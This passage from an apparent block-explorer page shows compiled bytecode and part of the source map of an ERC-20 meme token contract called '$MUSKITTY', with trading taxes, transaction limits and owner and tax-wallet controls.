35611aac816119e6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b0557815f1904821115611aeb57611aeb611ab7565b80851615611af857918102915b93841c9390800290611ad0565b509250929050565b5f82611b1b575060016104cc565b81611b2757505f6104cc565b8160018114611b3d5760028114611b4757611b63565b60019150506104cc565b60ff841115611b5857611b58611ab7565b50506001821b6104cc565b5060208310610133831016604e8410600b8410161715611b86575081810a6104cc565b611b908383611acb565b805f1904821115611ba357611ba3611ab7565b029392505050565b5f61187360ff841683611b0d565b80820281158282048414176104cc576104cc611ab7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c15575f80fd5b8151611873816119e6565b5f805f60608486031215611c32575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611c5b575f80fd5b81518015158114611873575f80fd5b5f60208284031215611c7a575f80fd5b5051919050565b808201808211156104cc576104cc611ab7565b5f60018201611ca557611ca5611ab7565b5060010190565b818103818111156104cc576104cc611ab7565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d235784516001600160a01b031683529383019391830191600101611cfe565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d5e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220680b10c66e6dc2bb281974fe4f520dac29c813a1a8f9c6ce610e9b1f1d0e9cfa64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063715018a6116100cd5780638f9a55c0116100875780639be953b3116100625780639be953b314610425578063a9059cbb14610444578063bf474bed14610463578063dd62ed3e14610478575f80fd5b80638f9a55c0146103b257806395d89b41146103c757806398799795146103f7575f80fd5b8063715018a614610326578063751039fc1461033a5780637d1db4a51461034e578063883b5be2146103635780638a8c523c146103825780638da5cb5b14610396575f80fd5b8063313ce5671161011e578063313ce5671461026e57806349bd5a5e1461028957806351bc3c85146102a8578063588e0e88146102be5780635bb9162c146102dd57806370a08231146102f2575f80fd5b806306fdde031461016f578063095ea7b3146101b25780630faee56f146101e15780631694505e1461020457806318160ddd1461023b57806323b872dd1461024f575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526009815268244d55534b4954545960b81b60208201525b6040516101a9919061199a565b60405180910390f35b3480156101bd575f80fd5b506101d16101cc3660046119fd565b6104bc565b60405190151581526020016101a9565b3480156101ec575f80fd5b506101f660185481565b6040519081526020016101a9565b34801561020f575f80fd5b50601954610223906001600160a01b031681565b6040516001600160a01b0390911681526020016101a9565b348015610246575f80fd5b506101f66104d2565b34801561025a575f80fd5b506101d1610269366004611a27565b6104f2565b348015610279575f80fd5b50604051600981526020016101a9565b348015610294575f80fd5b50601a54610223906001600160a01b031681565b3480156102b3575f80fd5b506102bc610559565b005b3480156102c9575f80fd5b506102bc6102d8366004611a65565b6105aa565b3480156102e8575f80fd5b506101f6601b5481565b3480156102fd575f80fd5b506101f661030c366004611a65565b6001600160a01b03165f9081526001602052604090205490565b348015610331575f80fd5b506102bc6105ff565b348015610345575f80fd5b506102bc610670565b348015610359575f80fd5b506101f660155481565b34801561036e575f80fd5b50601c546101d19062010000900460ff1681565b34801561038d575f80fd5b506102bc610721565b3480156103a1575f80fd5b505f546001600160a01b0316610223565b3480156103bd575f80fd5b506101f660165481565b3480156103d2575f80fd5b506040805180820190915260088152674d55534b4954545960c01b602082015261019c565b348015610402575f80fd5b506101d1610411366004611a65565b60046020525f908152604090205460ff1681565b348015610430575f80fd5b506102bc61043f366004611a65565b610af3565b34801561044f575f80fd5b506101d161045e3660046119fd565b610bf5565b34801561046e575f80fd5b506101f660175481565b348015610483575f80fd5b506101f6610492366004611a80565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6104c8338484610c01565b5060015b92915050565b5f6104df6009600a611bab565b6104ed906334fb5ac0611bb9565b905090565b5f6104fe848484610d24565b61054f843361054a85604051806060016040528060288152602001611d64602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061161f565b610c01565b5060019392505050565b6005546001600160a01b0316336001600160a01b031614610578575f80fd5b305f9081526001602052604090205480156105965761059681611657565b4780156105a6576105a6816117be565b5050565b5f546001600160a01b031633146105dc5760405162461bcd60e51b81526004016105d390611bd0565b60405180910390fd5b6001600160a01b03165f908152600460205260409020805460ff19166001179055565b5f546001600160a01b031633146106285760405162461bcd60e51b81526004016105d390611bd0565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106995760405162461bcd60e51b81526004016105d390611bd0565b6106a56009600a611bab565b6106b3906334fb5ac0611bb9565b6015556106c26009600a611bab565b6106d0906334fb5ac0611bb9565b6016557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107006009600a611bab565b61070e906334fb5ac0611bb9565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461074a5760405162461bcd60e51b81526004016105d390611bd0565b601a54600160a01b900460ff16156107a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105d3565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ed9030906107df6009600a611bab565b61054a906334fb5ac0611bb9565b60195f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108619190611c05565b6001600160a01b031663c9c653963060195f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e49190611c05565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561092e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109529190611c05565b601a80546001600160a01b039283166001600160a01b031990911681179091555f908152600460205260409020805460ff191660011790556019541663f305d71947306109b3816001600160a01b03165f9081526001602052604090205490565b5f806109c65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a2c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a519190611c20565b5050601a5460195460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aa6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aca9190611c4b565b50601c805461ff001916610100179055601a805460ff60a01b1916600160a01b17905543601455565b6005546001600160a01b0316336001600160a01b031614610b12575f80fd5b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610b56573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7a9190611c6a565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af1158015610bcc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bf09190611c4b565b505050565b5f6104c8338484610d24565b6001600160a01b038316610c635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d3565b6001600160a01b038216610cc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d3565b6001600160a01b038216610dea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d3565b5f8111610e4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d3565b5f80546001600160a01b03858116911614801590610e7657505f546001600160a01b03848116911614155b1561127e57610ebb6103e8610eb5600e5460115411610eaa57600c5460115411610ea257600654610eae565b600854610eae565b600a545b85906117f5565b9061187a565b6001600160a01b0385165f9081526004602052604090205490915060ff168015610ef357506019546001600160a01b03848116911614155b8015610f1757506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffd57601554821115610f6e5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e74000000000000000060448201526064016105d3565b60165482610f90856001600160a01b03165f9081526001602052604090205490565b610f9a9190611c81565b1115610fe85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a650000000000000060448201526064016105d3565b60118054905f610ff783611c94565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff16801561102d57506001600160a01b0384163014155b1561106e5761106b6103e8610eb5600f546011541161106157600d546011541161105957600754610eae565b600954610eae565b600b5485906117f5565b90505b6001600160a01b0384165f9081526004602052604090205460ff161580156110ae57506001600160a01b0383165f9081526004602052604090205460ff16155b80156110c357506001600160a01b0384163014155b156110cb57505f5b305f90815260016020526040902054601c5462010000900460ff1680156110f55750601c5460ff16155b801561111857506001600160a01b0384165f9081526004602052604090205460ff165b801561112b5750601c54610100900460ff165b8015611138575060175481115b80156111475750601054601154115b156111f95760135443111561115b575f6012555b601b54601254106111ae5760405162461bcd60e51b815260206004820152601760248201527f43412073656c6c206c696d69742070657220626c6f636b00000000000000000060448201526064016105d3565b6111cb6111c6846111c1846018546118bb565b6118bb565b611657565b4780156111db576111db476117be565b60128054905f6111ea83611c94565b9091555050436013555061127c565b601c5460ff1615801561122357506001600160a01b0384165f9081526004602052604090205460ff165b80156112365750601c54610100900460ff165b8015611243575060175481115b80156112525750601054601154115b1561127c5761126a6111c6846111c1846018546118bb565b47801561127a5761127a476117be565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806112bb57506001600160a01b0383165f9081526003602052604090205460ff165b80156112d457505f546001600160a01b03858116911614155b80156112e957506001600160a01b0383163014155b80156112fe57506001600160a01b0384163014155b156113085742601d555b6001600160a01b0384165f9081526003602052604090205460ff16801561134a5750600f5460105460145461133d9190611c81565b6113479190611c81565b43115b156113be576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113b09086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156113fe57506001600160a01b0383165f9081526003602052604090205460ff16155b156114eb576001600160a01b0383165f9081526004602052604090205460ff166114b8576001600160a01b038084165f908152601e602090815260408083209388168352600490915290205460ff16801561145857508054155b15611480576010546011541061146e5742611479565b611479600142611cac565b81556114b2565b6001600160a01b0385165f908152601e60205260409020815415806114a6575081548154105b156114b057805482555b505b506114eb565b6001600160a01b0384165f908152601e60205260409020601d5481546114de9190611cac565b6002820155426001909101555b801561156357305f9081526001602052604090205461150a90826118cf565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061155a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611585908361192d565b6001600160a01b0385165f908152600160205260409020556115c86115aa838361192d565b6001600160a01b0385165f90815260016020526040902054906118cf565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611611858561192d565b6040519081526020016113b0565b5f81848411156116425760405162461bcd60e51b81526004016105d3919061199a565b505f61164e8486611cac565b95945050505050565b601c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061169757611697611cbf565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117129190611c05565b8160018151811061172557611725611cbf565b6001600160a01b03928316602091820292909201015260195461174b9130911684610c01565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906117839085905f90869030904290600401611cd3565b5f604051808303815f87803b15801561179a575f80fd5b505af11580156117ac573d5f803e3d5ffd5b5050601c805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105a6573d5f803e3d5ffd5b5f825f0361180457505f6104cc565b5f61180f8385611bb9565b90508261181c8583611d44565b146118735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d3565b9392505050565b5f61187383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196e565b5f8183116118c95782611873565b50919050565b5f806118db8385611c81565b9050838110156118735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d3565b5f61187383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061161f565b5f818361198e5760405162461bcd60e51b81526004016105d3919061199a565b505f61164e8486611d44565b5f602080835283518060208501525f5b818110156119c6578581018301518582016040015282016119aa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119fa575f80fd5b50565b5f8060408385031215611a0e575f80fd5b8235611a19816119e6565b946020939093013593505050565b5f805f60608486031215611a39575f80fd5b8335611a44816119e6565b92506020840135611a54816119e6565b929592945050506040919091013590565b5f60208284031215611a75575f80fd5b8135611873816119e6565b5f8060408385031215611a91575f80fd5b8235611a9c816119e6565b91506020830135611aac816119e6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b0557815f1904821115611aeb57611aeb611ab7565b80851615611af857918102915b93841c9390800290611ad0565b509250929050565b5f82611b1b575060016104cc565b81611b2757505f6104cc565b8160018114611b3d5760028114611b4757611b63565b60019150506104cc565b60ff841115611b5857611b58611ab7565b50506001821b6104cc565b5060208310610133831016604e8410600b8410161715611b86575081810a6104cc565b611b908383611acb565b805f1904821115611ba357611ba3611ab7565b029392505050565b5f61187360ff841683611b0d565b80820281158282048414176104cc576104cc611ab7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c15575f80fd5b8151611873816119e6565b5f805f60608486031215611c32575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611c5b575f80fd5b81518015158114611873575f80fd5b5f60208284031215611c7a575f80fd5b5051919050565b808201808211156104cc576104cc611ab7565b5f60018201611ca557611ca5611ab7565b5060010190565b818103818111156104cc576104cc611ab7565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d235784516001600160a01b031683529383019391830191600101611cfe565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d5e57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220680b10c66e6dc2bb281974fe4f520dac29c813a1a8f9c6ce610e9b1f1d0e9cfa64736f6c63430008180033

Deployed Bytecode Sourcemap

3545:10495:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5888:83;;;;;;;;;;-1:-1:-1;5958:5:0;;;;;;;;;;;;-1:-1:-1;;;5958:5:0;;;;5888:83;;;;;;;:::i;:::-;;;;;;;;6721:161;;;;;;;;;;-1:-1:-1;6721:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6721:161:0;1023:187:1;4906:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4906:52:0;1215:177:1;4967:41:0;;;;;;;;;;-1:-1:-1;4967:41:0;;;;-1:-1:-1;;;;;4967:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4967:41:0;1397:229:1;6165:95:0;;;;;;;;;;;;;:::i;6890:313::-;;;;;;;;;;-1:-1:-1;6890:313:0;;;;;:::i;:::-;;:::i;6074:83::-;;;;;;;;;;-1:-1:-1;6074:83:0;;4528:1;2234:36:1;;2222:2;2207:18;6074:83:0;2092:184:1;5015:28:0;;;;;;;;;;-1:-1:-1;5015:28:0;;;;-1:-1:-1;;;;;5015:28:0;;;13689:348;;;;;;;;;;;;;:::i;:::-;;7554:106;;;;;;;;;;-1:-1:-1;7554:106:0;;;;;:::i;:::-;;:::i;5081:21::-;;;;;;;;;;;;;;;;6268:119;;;;;;;;;;-1:-1:-1;6268:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6361:18:0;6334:7;6361:18;;;:9;:18;;;;;;;6268:119;2626:148;;;;;;;;;;;;;:::i;12389:159::-;;;;;;;;;;;;;:::i;4718:54::-;;;;;;;;;;;;;;;;5182:27;;;;;;;;;;-1:-1:-1;5182:27:0;;;;;;;;;;;12655:790;;;;;;;;;;;;;:::i;2412:79::-;;;;;;;;;;-1:-1:-1;2450:7:0;2477:6;-1:-1:-1;;;;;2477:6:0;2412:79;;4779:56;;;;;;;;;;;;;;;;5979:87;;;;;;;;;;-1:-1:-1;6051:7:0;;;;;;;;;;;;-1:-1:-1;;;6051:7:0;;;;5979:87;;3818:48;;;;;;;;;;-1:-1:-1;3818:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13453:228;;;;;;;;;;-1:-1:-1;13453:228:0;;;;;:::i;:::-;;:::i;6395:167::-;;;;;;;;;;-1:-1:-1;6395:167:0;;;;;:::i;:::-;;:::i;4842:57::-;;;;;;;;;;;;;;;;6570:143;;;;;;;;;;-1:-1:-1;6570:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6678:18:0;;;6651:7;6678:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6570:143;6721:161;6796:4;6813:39;247:10;6836:7;6845:6;6813:8;:39::i;:::-;-1:-1:-1;6870:4:0;6721:161;;;;;:::o;6165:95::-;6218:7;4583:13;4528:1;4583:2;:13;:::i;:::-;4571:25;;:9;:25;:::i;:::-;6238:14;;6165:95;:::o;6890:313::-;6988:4;7005:36;7015:6;7023:9;7034:6;7005:9;:36::i;:::-;7052:121;7061:6;247:10;7083:89;7121:6;7083:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7083:19:0;;;;;;:11;:19;;;;;;;;247:10;7083:33;;;;;;;;;;:37;:89::i;:::-;7052:8;:121::i;:::-;-1:-1:-1;7191:4:0;6890:313;;;;;:::o;13689:348::-;13753:10;;-1:-1:-1;;;;;13753:10:0;247;-1:-1:-1;;;;;13739:24:0;;13731:33;;;;;;13814:4;13775:20;6361:18;;;:9;:18;;;;;;13834:14;;13831:73;;13862:30;13879:12;13862:16;:30::i;:::-;13933:21;13968:12;;13965:65;;13994:24;14007:10;13994:12;:24::i;:::-;13720:317;;13689:348::o;7554:106::-;2539:6;;-1:-1:-1;;;;;2539:6:0;247:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7624:21:0::1;;::::0;;;:15:::1;:21;::::0;;;;:28;;-1:-1:-1;;7624:28:0::1;7648:4;7624:28;::::0;;7554:106::o;2626:148::-;2539:6;;-1:-1:-1;;;;;2539:6:0;247:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;2733:1:::1;2717:6:::0;;2696:40:::1;::::0;-1:-1:-1;;;;;2717:6:0;;::::1;::::0;2696:40:::1;::::0;2733:1;;2696:40:::1;2764:1;2747:19:::0;;-1:-1:-1;;;;;;2747:19:0::1;::::0;;2626:148::o;12389:159::-;2539:6;;-1:-1:-1;;;;;2539:6:0;247:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;4583:13:::1;4528:1;4583:2;:13;:::i;:::-;4571:25;::::0;:9:::1;:25;:::i;:::-;12442:12;:22:::0;4583:13:::1;4528:1;4583:2;:13;:::i;:::-;4571:25;::::0;:9:::1;:25;:::i;:::-;12475:14;:22:::0;12513:27:::1;4583:13;4528:1;4583:2;:13;:::i;:::-;4571:25;::::0;:9:::1;:25;:::i;:::-;12513:27;::::0;1361:25:1;;;1349:2;1334:18;12513:27:0::1;;;;;;;12389:159::o:0;12655:790::-;2539:6;;-1:-1:-1;;;;;2539:6:0;247:10;2539:22;2531:67;;;;-1:-1:-1;;;2531:67:0;;;;;;;:::i;:::-;12721:11:::1;::::0;-1:-1:-1;;;12721:11:0;::::1;;;12720:12;12712:47;;;::::0;-1:-1:-1;;;12712:47:0;;5379:2:1;12712:47:0::1;::::0;::::1;5361:21:1::0;5418:2;5398:18;;;5391:30;5457:25;5437:18;;;5430:53;5500:18;;12712:47:0::1;5177:347:1::0;12712:47:0::1;12770:15;:104:::0;;-1:-1:-1;;;;;;12770:104:0::1;12821:42;12770:104:::0;;::::1;::::0;;;12885:58:::1;::::0;12902:4:::1;::::0;4583:13:::1;4528:1;4583:2;:13;:::i;:::-;4571:25;::::0;:9:::1;:25;:::i;12885:58::-;12988:15;;;;;;;;;-1:-1:-1::0;;;;;12988:15:0::1;-1:-1:-1::0;;;;;12988:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12970:55:0::1;;13034:4;13041:15;;;;;;;;;-1:-1:-1::0;;;;;13041:15:0::1;-1:-1:-1::0;;;;;13041:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12970:94;::::0;-1:-1:-1;;;;;;12970:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6015:15:1;;;12970:94:0::1;::::0;::::1;5997:34:1::0;6067:15;;6047:18;;;6040:43;5932:18;;12970:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12954:13;:110:::0;;-1:-1:-1;;;;;12954:110:0;;::::1;-1:-1:-1::0;;;;;;12954:110:0;;::::1;::::0;::::1;::::0;;;:13:::1;13075:39:::0;;;:15:::1;:39;::::0;;;;:46;;-1:-1:-1;;13075:46:0::1;12954:110:::0;13075:46:::1;::::0;;13132:15:::1;::::0;::::1;:31;13171:21;13202:4;13208:24;13202:4:::0;-1:-1:-1;;;;;6361:18:0;6334:7;6361:18;;;:9;:18;;;;;;;6268:119;13208:24:::1;13233:1;13235::::0;13237:7:::1;2450::::0;2477:6;-1:-1:-1;;;;;2477:6:0;;2412:79;13237:7:::1;13132:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13132:129:0;;;-1:-1:-1;;;;;6453:15:1;;;13132:129:0::1;::::0;::::1;6435:34:1::0;6485:18;;;6478:34;;;;6528:18;;;6521:34;;;;6571:18;;;6564:34;6635:15;;;6614:19;;;6607:44;13245:15:0::1;6667:19:1::0;;;6660:35;6369:19;;13132:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13279:13:0::1;::::0;13310:15:::1;::::0;13272:70:::1;::::0;-1:-1:-1;;;13272:70:0;;-1:-1:-1;;;;;13310:15:0;;::::1;13272:70;::::0;::::1;7191:51:1::0;-1:-1:-1;;7258:18:1;;;7251:34;13279:13:0;::::1;::::0;-1:-1:-1;13272:29:0::1;::::0;7164:18:1;;13272:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13353:11:0::1;:18:::0;;-1:-1:-1;;13353:18:0::1;;;::::0;;13382:11:::1;:18:::0;;-1:-1:-1;;;;13382:18:0::1;-1:-1:-1::0;;;13382:18:0::1;::::0;;13425:12:::1;13382:11;13411:26:::0;12655:790::o;13453:228::-;13538:10;;-1:-1:-1;;;;;13538:10:0;247;-1:-1:-1;;;;;13524:24:0;;13516:33;;;;;;13576:41;;-1:-1:-1;;;13576:41:0;;13611:4;13576:41;;;1569:51:1;13560:15:0;;-1:-1:-1;;;;;13576:26:0;;;;;1542:18:1;;13576:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13654:10;;13628:45;;-1:-1:-1;;;13628:45:0;;-1:-1:-1;;;;;13654:10:0;;;13628:45;;;7191:51:1;7258:18;;;7251:34;;;13560:57:0;;-1:-1:-1;13628:25:0;;;;;7164:18:1;;13628:45:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13505:176;13453:228;:::o;6395:167::-;6473:4;6490:42;247:10;6514:9;6525:6;6490:9;:42::i;7211:335::-;-1:-1:-1;;;;;7304:19:0;;7296:68;;;;-1:-1:-1;;;7296:68:0;;8256:2:1;7296:68:0;;;8238:21:1;8295:2;8275:18;;;8268:30;8334:34;8314:18;;;8307:62;-1:-1:-1;;;8385:18:1;;;8378:34;8429:19;;7296:68:0;8054:400:1;7296:68:0;-1:-1:-1;;;;;7383:21:0;;7375:68;;;;-1:-1:-1;;;7375:68:0;;8661:2:1;7375:68:0;;;8643:21:1;8700:2;8680:18;;;8673:30;8739:34;8719:18;;;8712:62;-1:-1:-1;;;8790:18:1;;;8783:32;8832:19;;7375:68:0;8459:398:1;7375:68:0;-1:-1:-1;;;;;7454:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7506:32;;1361:25:1;;;7506:32:0;;1334:18:1;7506:32:0;;;;;;;7211:335;;;:::o;7668:4078::-;-1:-1:-1;;;;;7756:18:0;;7748:68;;;;-1:-1:-1;;;7748:68:0;;9064:2:1;7748:68:0;;;9046:21:1;9103:2;9083:18;;;9076:30;9142:34;9122:18;;;9115:62;-1:-1:-1;;;9193:18:1;;;9186:35;9238:19;;7748:68:0;8862:401:1;7748:68:0;-1:-1:-1;;;;;7835:16:0;;7827:64;;;;-1:-1:-1;;;7827:64:0;;9470:2:1;7827:64:0;;;9452:21:1;9509:2;9489:18;;;9482:30;9548:34;9528:18;;;9521:62;-1:-1:-1;;;9599:18:1;;;9592:33;9642:19;;7827:64:0;9268:399:1;7827:64:0;7919:1;7910:6;:10;7902:64;;;;-1:-1:-1;;;7902:64:0;;9874:2:1;7902:64:0;;;9856:21:1;9913:2;9893:18;;;9886:30;9952:34;9932:18;;;9925:62;-1:-1:-1;;;10003:18:1;;;9996:39;10052:19;;7902:64:0;9672:405:1;7902:64:0;7977:17;2477:6;;-1:-1:-1;;;;;8013:15:0;;;2477:6;;8013:15;;;;:32;;-1:-1:-1;2450:7:0;2477:6;-1:-1:-1;;;;;8032:13:0;;;2477:6;;8032:13;;8013:32;8009:2100;;;8074:116;8185:4;8074:106;8096:15;;8086:9;;:25;8085:94;;8139:12;;8129:9;;:22;8128:50;;8164:14;;8085:94;;8128:50;8153:10;;8085:94;;;8114:12;;8085:94;8074:6;;:10;:106::i;:::-;:110;;:116::i;:::-;-1:-1:-1;;;;;8211:21:0;;;;;;:15;:21;;;;;;8062:128;;-1:-1:-1;8211:21:0;;:55;;;;-1:-1:-1;8250:15:0;;-1:-1:-1;;;;;8236:30:0;;;8250:15;;8236:30;;8211:55;:81;;;;-1:-1:-1;;;;;;8271:21:0;;;;;;:17;:21;;;;;;;;8270:22;8211:81;8207:310;;;8332:12;;8322:6;:22;;8314:59;;;;-1:-1:-1;;;8314:59:0;;10284:2:1;8314:59:0;;;10266:21:1;10323:2;10303:18;;;10296:30;10362:26;10342:18;;;10335:54;10406:18;;8314:59:0;10082:348:1;8314:59:0;8426:14;;8416:6;8400:13;8410:2;-1:-1:-1;;;;;6361:18:0;6334:7;6361:18;;;:9;:18;;;;;;;6268:119;8400:13;:22;;;;:::i;:::-;:40;;8392:78;;;;-1:-1:-1;;;8392:78:0;;10767:2:1;8392:78:0;;;10749:21:1;10806:2;10786:18;;;10779:30;10845:27;10825:18;;;10818:55;10890:18;;8392:78:0;10565:349:1;8392:78:0;8489:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8207:310;-1:-1:-1;;;;;8536:19:0;;;;;;:15;:19;;;;;;;;:43;;;;-1:-1:-1;;;;;;8559:20:0;;8574:4;8559:20;;8536:43;8533:220;;;8613:124;8732:4;8613:114;8635:16;;8625:9;;:26;8624:102;;8681:13;;8671:9;;:23;8670:55;;8710:15;;8624:102;;8670:55;8697:11;;8624:102;;;8654:13;;8613:6;;:10;:114::i;:124::-;8601:136;;8533:220;-1:-1:-1;;;;;8774:21:0;;;;;;:15;:21;;;;;;;;8773:22;:46;;;;-1:-1:-1;;;;;;8800:19:0;;;;;;:15;:19;;;;;;;;8799:20;8773:46;:69;;;;-1:-1:-1;;;;;;8823:19:0;;8837:4;8823:19;;8773:69;8769:123;;;-1:-1:-1;8875:1:0;8769:123;8957:4;8908:28;6361:18;;;:9;:18;;;;;;8982:8;;;;;;;:19;;;;-1:-1:-1;8995:6:0;;;;8994:7;8982:19;:42;;;